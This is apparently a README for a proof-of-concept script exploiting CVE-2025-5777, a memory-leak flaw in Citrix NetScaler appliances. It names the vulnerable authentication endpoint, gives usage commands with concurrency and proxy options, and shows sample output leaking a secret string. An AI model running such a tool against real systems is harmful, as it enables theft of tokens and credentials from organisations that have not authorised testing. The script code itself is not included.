CVE-2025-5777 - Citrix NetScaler Memory Leak PoC

📌 Description

This script exploits a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway appliances, identified as CVE-2025-5777 (dubbed CitrixBleed 2). It triggers a memory leak through the /p/u/doAuthentication.do endpoint, revealing uninitialized memory containing sensitive data such as XML fragments, tokens, and potentially credentials.

• 📅 CVE ID: CVE-2025-5777
• ⚙️ Impact: Information Disclosure
• 🧑‍💻 Author: [0xgh057r3c0n]
• 🧵 Concurrency: Asynchronous with aiohttp
• 📦 Dependencies: aiohttp, colorama

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🚀 Features

• Asynchronous mass-request engine using asyncio + aiohttp
• Hex dump of leaked memory fragments
• Auto-detection of the <InitialValue> memory leak
• Verbose mode for debugging and response preview
• Graceful interrupt handling (Ctrl+C)

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🧪 Usage

python3 CVE-2025-5777.py http://<target> [options]

🔧 Options

Option	Description
-v, --verbose	Enable verbose debug output
-p <proxy>	Use HTTP proxy (e.g., http://127.0.0.1:8080)
-t <threads>	Number of concurrent requests (default: 10)

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📥 Example

python3 CVE-2025-5777.py http://192.168.1.1 -v -t 5

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📤 Sample Output

_____________   _______________         _______________   ________   .________          .___________________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/          |   ____/\______  \______  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______  |____  \     /    /   /    /   /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/  /       \   /    /   /    /   /    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /         /______  /  /____/   /____/   /____/  
        \/                  \/                  \/     \/         \/       \/                 \/                             

         Citrix NetScaler Memory Leak PoC (CVE-2025-5777)
                     Author: 0xgh057r3c0n

[🔄] POST → http://192.168.1.1/p/u/doAuthentication.do → Status: 200
[✔️ ] Found InitialValue Memory Leak!
[🧠] Hex Dump:
------------------------------------------------------------------------
00000000: 73 65 63 72 65 74 3d 22 61 62 63 64 31 32 33 21   secret="abcd123!
00000010: 40 23 24 25 5e 26 2a 28 29 22 3c 2f 49 6e 69 74   @#$%^&*()"</Init
00000020: 69 61 6c 56 61 6c 75 65 3e                        ialValue>
------------------------------------------------------------------------

[✔️ ] Leak confirmed. Continuing extraction...

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⚠️ Disclaimer

This proof-of-concept is intended for educational and authorized security testing only. Unauthorized scanning or exploitation of systems you don't own is illegal.

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